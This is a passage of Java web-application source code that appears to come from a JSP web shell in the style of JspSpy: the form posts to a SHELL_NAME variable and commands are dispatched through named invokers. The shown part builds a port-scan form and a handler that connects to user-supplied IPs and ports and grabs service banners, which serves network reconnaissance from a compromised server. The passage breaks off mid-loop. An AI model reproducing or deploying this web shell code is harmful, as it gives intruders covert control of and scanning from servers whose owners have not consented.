"<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
"<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
"IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
"</p>"+
"</form></div>"+
"</td></tr></table>");
} catch (Exception e) {
throw e ;
}
}
}
private static class PortScanInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
out.println("<hr/>");
String ip = request.getParameter("ip");
String ports = request.getParameter("ports");
String timeout = request.getParameter("timeout");
String banner = request.getParameter("banner");
int iTimeout = 0;
if (Util.isEmpty(ip) || Util.isEmpty(ports))
return;
if (!Util.isInteger(timeout)) {
timeout = "2";
}
iTimeout = Integer.parseInt(timeout);
Map rs = new LinkedHashMap();
String[] portArr = ports.split(",");
for (int i =0;i<portArr.length;i++) {
String port = portArr[i];
BufferedReader r = null;
try {
Socket s = new Socket();
s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
s.setSoTimeout(iTimeout);
if (!Util.isEmpty(banner)) {
r = new BufferedReader(new InputStreamReader(s.getInputStream()));
StringBuffer sb = new StringBuffer();
String b = r.readLine();
while (b != null) {
sb.append(b+" ");
try {
b = r.readLine();
} catch (Exception e) {